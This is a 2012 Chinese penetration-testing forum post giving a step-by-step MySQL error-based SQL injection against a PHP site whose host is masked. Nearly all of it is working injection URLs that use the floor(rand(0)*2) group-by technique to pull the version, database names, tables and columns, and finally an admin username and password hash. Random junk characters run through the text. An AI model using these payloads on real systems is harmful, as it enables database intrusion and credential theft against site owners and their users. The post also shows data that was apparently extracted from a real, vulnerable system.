中国网络渗透测试联盟

标题: php+mysql高级爆错注入经测算有效 [打印本页]
作者: admin    时间: 2012-9-13 17:52
标题: php+mysql高级爆错注入经测算有效
http://www.wooyun.org/bugs/wooyun-2010-01666) b6 v$ m2 [  X% m
4 {4 F$ y. x  ~: a3 R4 M
之前想找个测试 没想到这有 可以测试下做个记录而已 3 l' {! U& L6 J: b6 E

4 S( W" ~! B4 c4 P6 o* Bhttp://xxoo/download/downpage/netarea/id/1600003'+and+(select+1+from(select+count(*),concat(0x7c,(select+(Select+version())+from+information_schema.tables+limit+0,1),0x7c,floor(rand(0)*2))x+from+information_schema.tables+group+by+x+limit+0,1)a)%23/wapc/5000_0005_003
8 |) m$ l* u0 X) |( Z8 h4 a1 h8 Y2 b  @5 z1 k- t3 s4 N% @
/data0/htdocs/leqi_new/app/myapp.php- z5 [( m* M) z/ j. x9 j* A8 W
' l! C4 S( N: P; {. K0 d. Y
或者* [& T, M% x2 G% p8 N( S
) D) |/ b$ _5 p
/**********version()**********/ 5.1.49-log
2 k9 i7 V7 [$ j. o5 \http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+version()),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003
: o+ X( m* @. r
+ `4 A$ M0 K, E' u6 X$ Z# L' D0 Y9 S) n/**********user()**********/  ) O1 _; H1 H* d6 H" E& |
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+user()),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003
! s8 k  p) k4 M! B, L/ D, q# x4 t/ C4 Q! j) F# R' X  b
/**********database()**********/  leqi' R( p5 x  r) i+ Z9 g$ {6 j% j
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+database()),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_0034 {+ \' h6 P' h- H  c

6 N- o# c- y  P+ F- n/**********limit依次递归爆库**********/
- h3 P$ w/ c/ D: xhttp:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+schema_name+from+information_schema.schemata+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003
  M3 i8 m0 P' _) e$ O9 vinformation_schema& t" b8 v" ?( I: p, A8 H& d8 `
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+schema_name+from+information_schema.schemata+limit+1,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_0030 A% U* ]" `" F; S
leqi
; m8 g. B; {1 Q) [. ~6 m; z, Khttp:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+schema_name+from+information_schema.schemata+limit+2,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_0035 m1 F- T5 l6 v, h! ]% k8 B/ B# w. j
test% X* T; g* i7 Q6 A1 p/ w/ @' x
- S# f. u' X7 h  }1 v. A8 v
/**********limit依次递归爆表名**********/' V% g+ ^/ B& f' b- T5 h: b2 L
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+table_name+from+information_schema.tables+where+table_schema=0x6C657169+limit+200,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_0037 l) P3 D- _5 v) x9 e3 a2 B
users
  H) E  O/ F* u: E* R, Z/ _1 i; S$ W  |( Q) K
/**********limit依次递归爆字段名**********/
$ A: x7 ]$ B' E+ n, I7 K0 Z9 chttp:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+column_name+from+information_schema.columns+where+table_schema=0x6C657169+and+table_name=0x7573657273+limit+3,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003
  ^4 `/ a7 N* Z) C7 L. d* Xuser_id,username,nickname,passwd,group_id2 z8 C1 q% l7 _8 \$ G/ D1 }8 T
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+group_id+from+users+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23& k" n5 W2 w6 }( R
/wapc/5000_0005_003
* j. j5 Y% `. K$ w; w. O. [9 P11 21
- O9 A" N+ k2 B0 m3 U: lhttp:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+user_id+from+users+limit+1,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%234 a* w9 a, v. B) v* ~- m; a
/wapc/5000_0005_003
6 S3 j: @( R$ J3 h11 341 351 361& y) p3 H+ y) E
/**********爆数据**********/
! @, r) S9 ?* a+ |1 M! R, y2 Ghttp:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+username+from+users+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23
* U6 [3 |+ [; j! F! e; h( T7 k7 K1 Gadmin
$ a, i1 X3 t' Mhttp:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+passwd+from+users+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23
1 z; f) g2 T/ K; ?1 C4 U6a8b4574ca231eb8bd52764d4978ffcd5 J4 X! U" T+ ?) h# {+ s

, P" S$ D- e" Z- P4 U( d& N6 V- s
  ?0 u$ X  w- N& w0 L



欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2